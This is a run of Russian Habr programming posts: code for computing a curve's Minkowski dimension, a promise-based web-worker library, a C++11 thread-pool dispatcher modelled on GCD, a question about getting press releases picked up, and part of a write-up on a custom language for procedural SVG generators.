С учетом этих условий универсальное решение, допускающее расширение на любую размерность — пошаговый переход от квадрата к квадрату. (Сразу предупреждаю, в продемонстрированном коде не учтены случаи, когда прямая вертикальна или горизонтальна)
**Класс целиком**
```
public class MinkowskiDimension
{
public MinkowskiDimension(int startSize, int finishSzie)
{
StartSize = startSize; FinishSize = finishSzie;
}
public MinkowskiDimension()
{
}
public int StartSize
{
get { return m_startSize; }
set
{
m_startSize = value;
if (m_startSize < m_finishSize)
{
m_scaleArgument = new double[m_finishSize - m_startSize];
for (int i = 0; i != m_scaleArgument.Count(); ++i) m_scaleArgument[i] = - Math.Log(m_startSize + i);
m_boxesNumber = new double[m_scaleArgument.Count()];
}
}
}
int m_startSize;
public int FinishSize
{
get { return m_finishSize; }
set
{
m_finishSize = value;
m_Boxes = new bool[value, value];
if (m_startSize < m_finishSize)
{
m_scaleArgument = new double[m_finishSize - m_startSize];
for (int i = 0; i != m_scaleArgument.Count(); ++i) m_scaleArgument[i] = Math.Log(m_startSize + i);
m_boxesNumber = new double[m_scaleArgument.Count()];
}
}
}
int m_finishSize;
double[] m_scaleArgument;
double[] m_boxesNumber;
public double calculate(IEnumerable> dataList)
{
double minY = Double.MaxValue, maxY = Double.MinValue;
double minX = minY, maxX = maxY;
foreach (var pair in dataList)
{
if (minY > pair.Value)
minY = pair.Value;
if (maxY < pair.Value)
maxY = pair.Value;
if (minX > pair.Key)
minX = pair.Key;
if (maxX < pair.Key)
maxX = pair.Key;
}
m\_bottomLeftY = minY;
m\_bottomLeftX = minX;
return calculate(dataList, maxX, maxY);
}
public double calculate(IEnumerable> dataList, double maxX, double maxY)
{
if( dataList.Count() < 2) return 0;
for(int scaleNumber = StartSize; scaleNumber !=FinishSize; ++scaleNumber){
double XScale = (maxX - m\_bottomLeftX) / scaleNumber;
double YScale = (maxY - m\_bottomLeftY) / scaleNumber;
var enumerator = dataList.GetEnumerator();
fillBoxes( (ref double x, ref double y) => { var res = enumerator.MoveNext(); if (res) { x = enumerator.Current.Key; y = enumerator.Current.Value; } return res; }, XScale, YScale);
int count = calculatedNumberBoxesAndIbit(scaleNumber);
if (count == 0) count = 1;
m\_boxesNumber[scaleNumber - StartSize] = Math.Log(count);
}
m\_linearApproximator.approximate(m\_scaleArgument, m\_boxesNumber);
return m\_linearApproximator.resultPolinomal.a[1];
}
double m\_bottomLeftX, m\_bottomLeftY;
void fillBoxes(GetDataDelegate dataIterator, double stepX, double stepY)
{
double prevX=0, prevY=0, targetX=0, targetY=0;
dataIterator(ref prevX, ref prevY);
int indexY = FinishSize, indexX = FinishSize;
int currentIndexX= calculateIndex(m\_bottomLeftX, stepX, prevX), currentIndexY =calculateIndex(m\_bottomLeftY, stepY, prevY) ;
m\_Boxes[currentIndexY, currentIndexX] = true;
double[] CrossPosition = new double[2];
while (dataIterator(ref targetX, ref targetY))
{
if(prevX == targetX && prevY == targetY)
continue;
bool isBottom = targetY - prevY < 0;
bool isLeft = targetX - prevX < 0;
double a = (targetY - prevY) / (targetX - prevX), fracA=1/a;
double b = targetY - a \* targetX;
double leftBorder = m\_bottomLeftX + currentIndexX \* stepX, bottomBorder = m\_bottomLeftY + currentIndexY \* stepY;
CrossPosition[0] = (leftBorder + (isLeft ? 0 : stepX)) \* a + b;
CrossPosition[1] = (bottomBorder + (isBottom ? 0 : stepY) - b) \* fracA;
while ( (targetY < CrossPosition[0] == isBottom && Math.Abs(targetY - CrossPosition[0]) / stepY > 1E-9) ||
(targetX < CrossPosition[1] == isLeft && Math.Abs(targetX - CrossPosition[1]) / stepX > 1E-9) )//Нужно ли делать следующий шаг?
{
if ( (bottomBorder - CrossPosition[0])/stepY <= 1E-9 && (CrossPosition[0] - bottomBorder - stepY)/stepY <= 1E-9)
currentIndexX += isLeft ? -1 : 1;
if ( (leftBorder-CrossPosition[1])/stepX <= 1E-9 && (CrossPosition[1] -leftBorder - stepX)/stepX <= 1E-9 )
currentIndexY += isBottom ? -1 : 1;
m\_Boxes[currentIndexY, currentIndexX] = true;
leftBorder = m\_bottomLeftX + currentIndexX \* stepX;
bottomBorder = m\_bottomLeftY + currentIndexY \* stepY;
CrossPosition[0] = (leftBorder + (isLeft ? 0 : stepX)) \* a + b;
CrossPosition[1] = (bottomBorder + (isBottom ? 0 : stepY) - b) \* fracA;
}
prevY = targetY;
prevX = targetX;
}
}
int calculateIndex(double startvalue, double scale, double value)
{
double index = (value - startvalue) / scale;
int intIndex = (int) index;
return Math.Abs(index - intIndex) > 1E-9 || intIndex ==0 ? intIndex: intIndex -1;
}
int calculatedNumberBoxesAndIbit(int currentScaleSize)
{
int result=0;
for (int i = 0; i != currentScaleSize; ++i)
{
for (int j = 0; j != currentScaleSize; ++j)
{
if (m\_Boxes[i, j]){
++result;
m\_Boxes[i, j] = false;
}
}
}
return result;
}
bool[,] m\_Boxes;
PolinomApproximation m\_linearApproximator = new PolinomApproximation(1);
}
```
Давайте протестируем его на все возможных прямых:
```
[TestMethod]
public void lineDimensionTest()
{
var m_calculator = new MinkowskiDimension(3, 10);
var data = new List >();
data.Add(new KeyValuePair(0, 1));
data.Add(new KeyValuePair(1, 5));
double result = m\_calculator.calculate(data);
if (Math.Abs(result - 1) > 1E-9) Assert.Fail();
data.Add(new KeyValuePair(2, 9));
result = m\_calculator.calculate(data);
if (Math.Abs(result - 1) > 1E-9) Assert.Fail();
data.Clear();
data.Add(new KeyValuePair(0, -1));
data.Add(new KeyValuePair(1, -5));
data.Add(new KeyValuePair(2, -9));
result = m\_calculator.calculate(data);
if (Math.Abs(result - 1) > 1E-9) Assert.Fail();
data.Clear();
data.Add(new KeyValuePair(0, -1));
data.Add(new KeyValuePair(0.5, -3));
data.Add(new KeyValuePair(2, -9));
result = m\_calculator.calculate(data);
if (Math.Abs(result - 1) > 1E-9) Assert.Fail();
}
```
Работает и это хорошо. Давайте теперь возьмем квадрат. Аргх, напоролись на то, о чем я предупреждал. Но не беда, давайте квадрат перевернем, а там потом добавим вырожденные случаи:
```
[TestMethod]
public void squareDimensiontest()
{
var m_calculator = new MinkowskiDimension(3, 15);
var data = new List>();
data.Add(new KeyValuePair(0, 1));
data.Add(new KeyValuePair(1, 0));
data.Add(new KeyValuePair(0, -1));
data.Add(new KeyValuePair(-1, 0));
data.Add(new KeyValuePair(0, 1));
double result = m\_calculator.calculate(data);
if (Math.Abs(result - 2) > 1E-9) Assert.Fail();
}
```
Результат **1.1**. Брр, что за странность. А нет, понятно, 2 — это для плоской фигуры, для прямоугольника, а не для его контура. Ну ладно, это понятно. Давайте добавим количество масштабов; 1.05; добавим еще; стремимся к единице.
Оказывается, что для конечного объединения множеств размерность Минковского — максимум для размерности каждого из множеств. Т.е. для совокупности прямых размерность **1**. Иными словами, наш результат совершенно верен.
Ну вот теперь можно доказать, что Попес не отличается от квадрата. Т.к. контур мы представляем прямыми, то у нас площадь разбивается либо на треугольник, либо квадрат. про квадрат мы все знаем. Какая размерность Минковского у квадрата мы знаем — 2. А у треугольника?
}{\ln(\epsilon)}=\lim\limits_{\epsilon\to0}\frac{\ln&space;0.5&space;a-\ln\epsilon^2}{-\ln\epsilon}=2)
Как не странно, но тоже два. Это, кстати, разбивает предположение в исходной статье, что фрактальная размерность отражает негладкость кривой. Но это кстати, главное что в итоге оцифрованная попа Попес имеет размерность максимальную из 2 и 2.
Еще один интересный пример. Какова размерность у круга?
}{\ln(\epsilon)}=\lim\limits_{\epsilon\to0}\frac{\ln&space;\pi&space;a-\ln\epsilon^2}{-\ln\epsilon}=2)
Тоже два. А у окружности?
}{\ln(\epsilon)}=\lim\limits_{\epsilon\to0}\frac{\ln&space;\pi&space;a-\ln\epsilon}{-\ln\epsilon}=1)
Итого: круг, квадрат и треугольник (и попа Лопес) у нас неотличимы, это вносит серьезные трудности в модельной интерпретации для фрактальной размерности. Классическая интерполяция между данными по прямой приводит, что размерности контура стремится к 1, а площадь к двойке. Отсюда очевидно, что без априорных каких-то знаний его вычисление теряет смысл. Ну и также наш маленький тест показал, что ориентация сложной кривой вносит сильное возмущения в наши вычисления, а их оценка крайне затруднена без понимания того, что показывает сам параметр. | https://habr.com/ru/post/264451/ | null | ru | null |
# Учим webworkers хорошим манерам
Рано или поздно у каждого кто работал с webworkers возникает ситуация когда код превращается в кашу вроде этого:
**main.js**
```
const worker = new Worker('test.worker.js');
worker.onmessage = (data) => {
if(data.eventName === 'someFuncResult')
someFunc();
else if(data.eventName === 'someFunc2Result')
someFunc2();
};
worker.postMessage({eventName: 'someFunc'});
```
**test.worker.js**
```
self.addEventListener('message', (data) => {
if(data.eventName === 'someFunc') {
doSomeFunc();
self.postMessage('someFuncResult');
}
if(data.eventName === 'someFunc2') {
doSomeFunc();
self.postMessage('someFunc2Result');
}
})
```
Если даже закрыть глаза на нечитаемый код, вы можете обнаружить, что не можете одновременно несколько раз запустить одну функцию, так, чтобы вызовы не конфликтовали.
После долгих мучений и страшного кода, было решено реализовать удобную обертку над воркерами.
Цели:
— Читаемость кода
— Конкурентные запросы
— Ассинхронные функции
— Прозрачная обработка ошибок
— Возможность отправки промежуточных результатов выполнения процедуры
Установка
---------
Для установки можно воспользоваться npm
```
npm install webworker-promise
```
Далее вы можете импортировать из неё
```
const WebWorker = require('webworker-promise'); //main-process
const WebWorkerRegister = require('webworker-promise/lib/register');
```
Либо скачать [umd-версию](https://github.com/kwolfy/webworker-promise/releases)
В этом случае, при отсутствии commonjs и requirejs будут доступны глобальные объекты
— WebWorkerPromise (webworker-promise в cjs, requirejs)
— WebWorkerPromiseRegister — функция будет доступен в воркере при импортировании через *importScripts('dist/register.js');*
Основной функционал
-------------------
Вся работа с библиотекой происходит с помощью промисов, соответственно вы можете использовать async/await при выполнении функций
Для инициализации «сервера» в worker-файле необходимо подгрузить функцию webworker-promise/lib/register и выполнить её, после чего все сообщения отправляемые в воркер будут обрабатываться webworker-сервером.
```
//ping.worker.js
const register = require('webworker-promise/lib/register');
register()
.operation('ping', (message) => {
//message - hello,
return 'pong';
});
```
И на клиенте:
```
//main.js
const WebWorker = require('webworker-promise');
const worker = new WebWorker(new Worker('ping.worker.js'));
worker.exec('ping', 'hello')
.then(result => {/* result - pong*/});
```
Конкурентные запросы
--------------------
Каждому вызову процедуры назначается уникальный ид к которому привязывается и его результат, что позволяет вызвать несколько раз одну и ту же функцию в один момент времени и получить соответствующий результат вне зависимости от порядка выполнения.
```
register()
.operation('hello', ({name, delay}) => {
return new Promise((res) => {
setTimeout(() => res(`Hello ${name}!`), delay);
});
});
```
```
worker.exec('hello', {name: 'Bob', delay: 300})
.then(message => {/* message - Hello Bob!*/});
worker.exec('hello', {name: 'Alice', delay: 200})
.then(message => {/* message - Hello Alice!*/});
```
Асинхронные процедуры
---------------------
Асинхронные процедуры определяются также как и обычные с одним лишь отличием — обработчик должен возвращать promise-объект в качестве результата
```
register()
.operation('get-random-text', (limit) => {
// fetch как известно возвращает промисы
return fetch(`https://baconipsum.com/api/?callback=?type=meat-and-filler¶s=${limit}`)
.then(result => result.json())
});
```
```
const worker = new WebWorker(new Worker('async.worker.js'));
worker.exec('get-random-text', 2)
.then(texts => {/*texts - массив из двух случайных строк*/});
```
Обработка ошибок
----------------
Если во время выполнения произошла ошибка, она будет выкинута в промис и может быть отловлена как и принято в catch. Т.к. воркеры не умеют обмениваться оригинальным объектом ошибки при отлавливании ошибки вытаскивается stack и message, а на клиенте просто кидается объект ошибки *throw {stack: 'error trace', message: 'error message'}*. В следующих версиях обработка ошибок будет улучшена
```
worker.exec('get-random-text', 2)
.catch(e => {/* e.message, e.stack */});
```
Отправка промежуточных результатов
----------------------------------
Часто возникает ситуация, что нужно отправлять промежуточные результаты выполнения процедуры. Например, если вы отправляете файл с помощью воркера и нужно переодически отправлять прогресс загрузки. Именно для этого были введены события. Как уже говорил выше, каждому вызову процедуры присваивается свой уникальный идентификатор, так вот, к этому идентификатору также привязываются события.
```
register()
.operation('get-events', (str, emit) => {
return new Promise((res) => {
// отправляем сначала 20, 90 прогресс и только потом резолвим промис
setTimeout(() => emit('progress', 20), 100);
setTimeout(() => emit('progress', 90), 200);
setTimeout(() => res('hello'), 300);
});
});
```
```
worker.exec('get-events', '', [], (eventName, progress) => {
if(eventName === 'progress')
console.log(progress); // progress, 20, 90
})
.then(result => {/*result - hello*/});
```
Trasferable objects
-------------------
Для обмена данными между основным процессом и воркером без копирования памяти в js были введены transferable objects. Если коротко, то при передаче объекта arrayBuffer вместо того, чтобы копировать данные из памяти основного потока в поток воркера, вы можете их просто делегировать, более подробно можно прочитать [здесь](https://developer.mozilla.org/ru/docs/DOM/Using_web_workers).
Чтобы передать transferable объекты необходимо их указать третьим аргументом в виде массива, а вот чтобы вернуть transferable необходимо в результате функции вернуть объект специального класса *TransferableResponse*.
```
register()
.operation('send-buffer', (obj) => {
//можно произвести некоторые операции с obj.myBuffer;
return new register.TransferableResponse({myBuffer}, [myBuffer]);
});
```
```
worker.exec('send-buffer', {myBuff: myBuffer}, [myBuffer])
.then((obj) => {/* obj.myBuffer */});
```
«Однопроцедурные» воркеры
-------------------------
Если ваш воркер выполняет лишь одну функцию, то нет необходимости объявлять отдельную процедуру, вы можете просто передать в register обработчик.
```
register( (name) => `Hello ${name}!`);
```
```
worker.postMessage('hello');
```
Весь код открыт и покрыт тестами.
→ [Исходники на github](https://github.com/kwolfy/webworker-promise) | https://habr.com/ru/post/337492/ | null | ru | null |
# Не бойтесь велосипедов. Или еще один Grand Central Dispatch (GCD) на C++11
#### ИМХО (Имею Мнение Хрен Оспоришь)
С моей точки зрения самое полезное, что может сделать программист для повышения своего профессионального уровня — это написание велосипедов. Велосипедостроение — очень увлекательный процесс. Иногда он увлекает больше, чем задача, ради которой сам велосипед и затевался. При написании велосипеда (под велосипедом я понимаю реализацию уже существующего) происходит более глубокое понимание уже существующих решений и техник.
#### Мотивация
Вот уже больше трех лет моим основным рабочим языком является objective-c, и когда я только начал писать на нем меня приятно удивил продуманный высокоуровневый API для работы с многопоточностью [NSOperationQueue](http://developer.apple.com/library/mac/#documentation/Cocoa/Reference/NSOperationQueue_class/Reference/Reference.html), а позже — [GCD](http://ru.wikipedia.org/wiki/Grand_Central_Dispatch), который по моему мнению является квинтэссенцией лаконичности и понятности для Thread concurrency. И вот недавние статьи на Хабре: [Техника написания аналога await/async из C# для C++](http://habrahabr.ru/post/185706/) и [Thread concurrency C++11](http://habrahabr.ru/post/184562/). Они и заставили посмотреть на те новые плюшки, которые предоставляет C++ для работы с многопоточностью. И большинство из них (тот-же std::future) для меня выглядят примерно так:
#### Домыслы и хотелки
Вот типичный сценарий, в котором я использую многопоточность в своих приложениях:
* асинхронно получить какие-то данные (файлы/сеть);
* распарсить/подотовить полученные данные;
* вернуть данные в вызываемый поток (например, в главный поток и обновить UI).
Удобно, чтобы для каждой из этих операций была своя очередь.
А еще более удобно, когда все это собрано в одном месте, а не разбросано по пяти исходным файлам. Что-то на подобии:
```
file_io_queue.async([=]{
file_data = get_data_from_file( file_name );
parser_queue.async([=]{
parsed_data = parse( file_data );
main_queue.async([=]{
update_ui_with_new_data( parsed_data ) ;
});
});
});
```
Этот код читается как абсолютно линейный, синхронный код. Он описывает логику того, как будут происходить изменения в данных. Для меня, по большому счету, без разницы, в каком потоке будет выполняться вычитка файла, в каком — его парсинг. Главное — последовательность этих операций. Я могу вызвать предыдущий код 100500 раз для 100500 файлов.
Очевидное решение — реализация шаблона пулл потоков. Но почти все реализации, виденные мной на просторах интернетиков, предлагают использовать один std::thread для одной очереди. С моей точки зрения это не есть хорошо. Например, нужно хранить инстанс самой очереди все время, пока выполняются асинхронные операции. Создание исттанса std::thread на порядки более затратная операция, чем захват/освобождение мютекса. Когда нам стоит уничтожать очередь? Да и простаивающее большое количество потоков в то время, когда очередь не используется — не айс.
Мы сделаем по другому. У нас будет N-ное количество потоков (std::thread) и список легковесных очередей с приоритетами. Когда мы добавляем задачу в очередь, то оповещаем поток о том, что появилась новая задача. Поток берет самую высокоприоритетную задачу и выполняет ее. Если задача с таким приоритетом уже выполняется, то берет более низкоприоритетную задачу. Если таких нет — ждет.
#### Код
Приступим:**Очередь**
```
namespace dispatch{
typedef std::function function;
struct queue {
typedef long priority; // Наш приоритет. Пусть это будет целое число
const queue::priority queue\_priority;
static std::shared\_ptr main\_queue() ; // Об этом ниже
virtual void async(function) const; // Собственно метод для добавления задачи в очередь
queue(queue::priority priority) : queue\_priority(priority) {};
};
}
```
Реализация метода async **просто перенаправляет вызов в thread pool:**
```
void queue::async(dispatch::function task) const {
thread_pool::shared_pool()->push_task_with_priority(task, this->queue_priority);
};
```
Вся работа будет происходить в нашем **Пуле потоков:**
```
struct queue_impl{
const queue::priority priority;
std::queue tasks;
bool is\_running;
queue\_impl(queue::priority priority): priority(priority){};
};
struct thread\_pool{
thread\_pool();
static std::shared\_ptr& shared\_pool(); // thread\_pool
virtual ~thread\_pool();
bool stop;
typedef std::shared\_ptr queue\_ptr;
void push\_task\_with\_priority(const function&, queue::priority);// Добавляем задачу в очередь с приоритетом
bool get\_free\_queue(queue\_ptr\*) const; // Ищем очередь, задачи из которой не исполняются прямо сейчас
void start\_task\_in\_queue(const queue\_ptr&); // Отмечаем очередь как исполняющуюся
void stop\_task\_in\_queue(const queue\_ptr&); // Снимаем отметку
std::mutex mutex; // Мютекс для синхронизации пула
std::map queues; // Здесь хранятся очереди по приоритетам
std::mutex main\_thread\_mutex;
std::queue main\_queue;
std::condition\_variable condition;
std::vector threads; // Массив реальных потоков, которые и будут выполнять задачи
dispatch::function main\_loop\_need\_update;
void add\_worker(); // Добавляем еще один поток
};
```
Рассмотрим методы по порядку. Нам необходимо найти свободную очередь с максимальным приоритетом:**найти свободную очередь с максимальным приоритетом:**
```
bool thread_pool::get_free_queue(queue_ptr* out_queue) const {
// проходим по всем очередям с приоритетом от максимального до минимального
auto finded = std::find_if(queues.rbegin(), queues.rend(), [](const std::pair& iter){
return ! iter.second->is\_running; // и находим первую свободную очередь
});
bool is\_free\_queue\_exist = (finded != queues.rend());
if (is\_free\_queue\_exist)
\*out\_queue = finded->second;
return is\_free\_queue\_exist;
}
```
**Добавляем задачу в очередь**
```
void thread_pool::push_task_with_priority(const function& task, queue::priority priority){
{
std::unique_lock lock(mutex); // Захватваем мютекс
// Добавляем задачу в очередь. Если очереди нет - создаем ее
auto queue = queues[priority];
if (!queue){
queue = std::make\_shared(priority);
queues[priority] = queue;
}
queue->tasks.push(task);
// Если необходимо, то добавляем потоки
unsigned max\_number\_of\_threads = std::max(std::thread::hardware\_concurrency(), 2);
unsigned number\_of\_threads\_required = round(log(queues.size()) + 1);
while (threads.size() < std::min(max\_number\_of\_threads, number\_of\_threads\_required)){
add\_worker();
}
}
condition.notify\_one(); // Оповещаем поток, что мы добавили задачу в очередь
}
```
**Отмечаем задачу как выполненную**
```
void thread_pool::stop_task_in_queue(const queue_ptr& queue){
{
std::unique_lock lock(mutex);
// Отмечаем задачу как выполненную. Если очередь пуста - убираем ее из списка очередей
queue->is\_running = false;
if ( queue->tasks.size() ==0 ){
queues.erase(queues.find(queue->queue\_priority));
}
}
condition.notify\_one(); // Оповещаем поток, что одна из задач выполненна
}
```
**И, собственно, сам поток:**
```
void thread_pool::add_worker(){
threads.push_back(std::thread([=]{
dispatch::function task;
thread_pool::queue_ptr queue;
while(true){
{
std::unique_lock lock(mutex); // Пытаемся захватить мютекс
while(!stop && !get\_free\_queue(&queue)) // Если нет свободных очередей
condition.wait(lock); // То ждем оповещения
if(stop) // Если пулл потоков был остановлен, то завершаемся
return;
task = queue->tasks.front(); // Забираем задачу из очереди
queue->tasks.pop();
start\_task\_in\_queue(queue); // Отмечаем очередь как занятую
}
task(); // Исполняем задачу
stop\_task\_in\_queue(queue); // Отмечаем очередь как свободную
}
}));
}
```
#### Main Thread и Run Loop
В С++ нет такого понятия как главный поток. Но на этой концепции построены практически все UI приложения. UI мы можем изменять только из главного потока. Значит, нам нужно либо самим организовать Run Loop, либо вклиниться в уже существующий.
Для начала создадим отдельную очередь для «главного потока»:**Main Queue**
```
struct main_queue : queue{
virtual void async(dispatch::function task) const override;
main_queue(): queue(0) {};
};
std::shared_ptr queue::main\_queue(){
return std::static\_pointer\_cast(std::make\_shared());
}
```
А в методе async будем добавлять задачи в **отдельную очередь**
```
void main_queue::async(dispatch::function task) const {
auto pool = thread_pool::shared_pool();
std::unique_lock lock(pool->main\_thread\_mutex);
pool->main\_queue.push(task);
if (pool->main\_loop\_need\_update != nullptr)
pool->main\_loop\_need\_update();
}
```
Ну и нам необходима функция, которая будет вызываться из главного потока:**Код**
```
void process_main_loop() {
auto pool = thread_pool::shared_pool();
std::unique_lock lock(pool->main\_thread\_mutex);
while (!pool->main\_queue.empty()) {
auto task = pool->main\_queue.front();
pool->main\_queue.pop();
task();
}
}
```
#### Теперь только два вопроса: «Как?» и «Зачем?»
Сначала «Зачем?»: C++ довольно часто используется для написания кросс-платформенного ПО. В угоду переносимости от многих удобных вещей необходимо отказаться. GCD очень удобная библиотека, предоставляющая простой, наглядный и удобный способ управления асинхронными очередями.
На вопрос «Как?» нет однозначного ответа. Вклиниться ранлуп можно по разному. Многие системы предастовляют API для этого. Например, в iOS есть «performSelectorOnMainThread:». Нам нужно лишь задать коллбэк через dispatch::set\_main\_loop\_process\_callback:
```
-(void)dispatchMainThread{
dispatch::process_main_loop();
}
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions{
dispatch::set_main_loop_process_callback([=]{
[self performSelectorOnMainThread:@selector(dispatchMainThread) withObject:nil waitUntilDone:NO];
});
return YES;
}
```
Если-же мы сами организуем наш собственный ранлуп, то можно сделать что-то такое:
```
void main_loop(dispatch::function main_loop_function);
void main_loop(dispatch::function main_loop_function){
auto main_queue = queue::main_queue();
while (!thread_pool::shared_pool()->stop) {
main_queue->async(main_loop_function);
process_main_loop();
}
}
```
#### А теперь собственно то, ради чего это и затевалось:
Создадим 6 очередей и запихнем в каждую по 6 заданий:
```
auto main_thread_id = std::this_thread::get_id();
for (unsigned task = 0; task < 6; ++task)
for (unsigned priority = 0; priority < 6; ++priority){
dispatch::queue(priority).async([=]{
assert(std::this_thread::get_id() != main_thread_id);
std::string task_string = std::to_string(task);
std::string palceholder(1+priority*5, ' ');
dispatch::queue::main_queue()->async([=]{
assert(std::this_thread::get_id() == main_thread_id);
std::cout << palceholder << task_string << std::endl;
});
});
}
```
**Получим примерно такую картинку**
```
0
1
0
0
2
1
1
3
2
2
4
3
3
5
4
4
0
5
5
1
0
0
2
1
1
3
2
2
4
3
3
5
4
4
5
5
```
«Столбик» представляет собой очередь. Чем правее, тем более высокий приоритет у очереди. Линия — это коллбэки на «главный поток».
Ну и код для iOS:
```
for (int i = 0; i < 20; ++i){
dispatch::queue(dispatch::QUEUE_PRIORITY::DEFAULT).async([=]{
NSAssert(![NSThread isMainThread], nil);
std::string first_string = std::to_string(i);
dispatch::queue::main_queue()->async([=]{
NSAssert([NSThread isMainThread], nil);
std::string second_string = std::to_string(i+1);
std::cout << first_string << " -> " << second_string << std::endl;
[self.tableView reloadData]; // Делаем что-то с UI. То, что можно делать только из главного потока
});
});
}
```
#### Заключение
Заключения не будет. Этот велосипед писался исключительно с целью пощупать многопоточность в C++11. Код представляет собой чуть более 200 строк не особо хорошего С++ кода, [представлен на гитхабе](https://github.com/nut-code-monkey/dispatch). Проверялся на clang++ 3.3, g++-4.7 / g++-4.8 и компилятором 2012 Visual Studio. То есть основные компиляторы уже в достаточной мере поддерживают C++11.
Пы.Сы. Призывая писать свои велосипеды я отнюдь не призываю их использовать на боевых проектах. Хотя, с другой стороны, как еще велосипед может превратиться во что-то серьезное?
**Ну и еще пара велосипедов, которые я не придумал куда впихнуть в статье**
 | https://habr.com/ru/post/186200/ | null | ru | null |
# А оно не пиарится
Как попасть со своим пресс релизом на страницы новостных сайтов и информ. агентств?
Инфо повод есть (нормальный такой, не спамный, правда без скандалов и интриг). Пресс релизы рассылались, в никуда похоже. Имена в событии известные были, не спасло.
*Интересует был ли у кого опыт проскальзывания (целенаправленного) на такие сайты как риа, газетару, лентару и т.д. (музыкальная колонка) без денег и знакомых?*
`Есть сайт, который (очень) изредко выпускает сетевые музыкальные сборники, с согласия авторов. Компиляции эти, распространяются бесплатно. В данный момент на подходе релиз, буду рад предложениям и историям из личного опыта подобного продвижения.`
Спасибо. | https://habr.com/ru/post/58520/ | null | ru | null |
# Как я написал свой язык и онлайн IDE
[Здесь онлайн интерпретатор](https://llesha.github.io/regina/ide), [здесь документация](https://llesha.github.io/regina/regina/).
### Зачем
В сентябре 2020 года я учился на 2 курсе. В том же месяце я **впервые написал программу, которая мне понравилась**. Она создаёт svg изображения растений, [здесь её можно потрогать](https://pleaseworkplant.azurewebsites.net/).
Цветок, созданный генераторомЧуть позже я выяснил, что такие программы называют процедурными генераторами. Я увлекся этим, сделал ещё парочку ([1](https://llesha.itch.io/2d-house-generator), [2](https://github.com/llesha/MapGen-KorGE)).
Это дом из генератора домовВот только на них я потратил куда больше времени. Долго работать над одной вещью мне не понравилось, особенно когда идея реализации уже придумана, и остаётся лишь написать код. Следовательно, нужно ускорить создание процедурных генераторов.
Пришло в голову создать систему для создания генераторов, a.k.a. "генератор генераторов". В этом решении было две проблемы. Первая: уже оглядываясь назад, мне понятно, что дело было не в том, что языки неудобные, а в том, что я каждый раз менял инструменты. Из-за этого уходило время на их изучение. Вторая: я поставил очень широкую задачу, для которой невозможно создать DSL-язык. Нужно было остановиться на генераторах SVG-изображений, для начала.
### Примеры генераторов, которые сделаны на моем языке
ЦветыЖивотныеТакже на языке сделана библиотека, чтобы классы преобразовывать в SVG-картинки (библиотека геометрии с ней плотно связана, получается tight coupling).
#### В чём суть языка?
Это динамический язык, его синтаксис схож с питоном и котлином. Особенность — поля у инстансов создаются динамически, рекурсивно. То есть можно объявить класс так:
```
class T {
a = b + 1
b = 3
}
```
При создании получится экземпляр T, у которого a = 4, b = 3. Я думал, что такая система будет удобной для генераторов, потому что можно отдельно объявить какие-то компоненты как классы и связать их воедино сразу же внутри объявлений классов. Динамическое создание полей позволяет обращаться к ещё не созданным полям из родительских классов и менять их.
Более сложный пример:
```
class B {
nested = c.d.e
c = C()
}
class C {
d = D()
d.e = E()
}
class D {}
class E {}
fun main() {
b = B()
test(b.nested is E)
}
```
Получится такое дерево:
Как это сделано? В общем приближении, когда вызывается конструктор из функции, выполняется примерно следующий алгоритм:
1. Вызываем bfs от корня и ищем поля, которые ещё не проинициализированы (bfs идет по полям типа класс1),
2. Если полей не нашли, экземпляр класса создали.
3. Пока поля находим (пусть нашли поле `a`):
1. Создаем стек инициализации, добавляем найденное поле `a`,
2. Для всех полей в стеке:
1. Смотрим, есть ли справа от `=` не проинициализированные поля.
2. Если есть, ставим эти поля в стек. Если `a = b + 1`, а `b` ещё неизвестно, то ставим `b` в стек, стек будет `[a, b]`.
3. Если не созданных полей справа от `=` нет, убираем последний элемент из стека, инициализируем его.
### Первоначальная задумка
Я не сразу решил делать язык. Хотелось сделать более простую систему, которой могли бы пользоваться не только программисты. Система должна быть атомарной (не должно быть лишнего) и полной (можно создать много генераторов, формально задать "любой генератор" я не могу). Вот к какой системе я пришел2:
Есть два типа объектов: геометрические и контейнерные. Геометрические — это графические SVG-элементы: прямоугольник, эллипс, круг, отрезок, `path` и т.д. Контейнерные объекты содержат в себе геометрические и контейнерные. Интересно, что все контейнеры можно реализовать в языке. Есть три типа контейнерных объектов:
1. Простой контейнер. Представляет из себя набор объектов. По сути просто массив, или в SVG.
```
class SimpleContainer {
// content - что лежит в контейнере
content = [SomeOtherContainer(), Circle(), Rect()]
}
```
2. Случайный контейнер. Выбирает случайный элемент внутри себя и всегда возвращает его. Это нужно для создания рандома.
```
import std.utils as utils
class RandomContainer {
content = [SomeOtherContainer(), Circle(), Rect()]
random = -1
fun getContent() {
if(random == -1)
random = randInt(0, content.size - 1)
return content[random]
}
}
```
3. Рекурсивный контейнер. Он в каком-то смысле ключевой и повторяет идею языка. Нужно передать число `numberOfElements` в конструктор для создания такого числа вложенных рекурсивных контейнеров.
```
class RecursiveContainer {
content = [...]
iter = if(parent == null) 0 else parent.iter + 1
child = if(iter < numberOfElements) RecursiveContainer(numberOfElements=numberOfElements) else null
}
```
В этой системе ещё можно менять параметры объектов, длину и ширину прямоугольника, радиус круга и т.д. Но хотелось добавить рандом и в эти параметры, чтобы они выглядели как формулы: `rect.width = if(parent is Circle) randInt(10, 20) else 5`. В этот момент я решил, что, пожалуй, нужно сразу делать язык, а не систему с контейнерами и формулами.
### Пример использования системы для создания цветов
Как я показал абзацем выше, в языке можно реализовать то, что создано через первоначальную систему. Давайте посмотрим на настоящем примере, как можно задать простой цветок.
#### Стебель
Стебель цветка упрощённо — это последовательность отрезков, начало которого является концом другого. То есть можно задать стебель как:
```
// задаем вспомогательные геометрические классы - они уже есть в библиотеке std.geometry2D
class Point {
x = 0
y = 0
}
class Segment {
p1 = Point()
p2 = Point()
}
// начинается значимый код
class FlowerSegment : Segment {
iter = parent.iter + 1
// говорим, что начало next - конец текущего, а конец next повернут относительно его начала
next = if(iter < 5) FlowerSegment( \
p1=copy(p2), \
p2 = p2.plus(0, -20).rotate(rndInt(-45,45), p2)) \
else null
}
// класс нужен, чтобы при вызове parent.iter у FlowerSegment не напороться на NullPointerException
class Root {
iter = 0
child = FlowerSegment()
}
```
Этот код должен давать нам что-то такое:
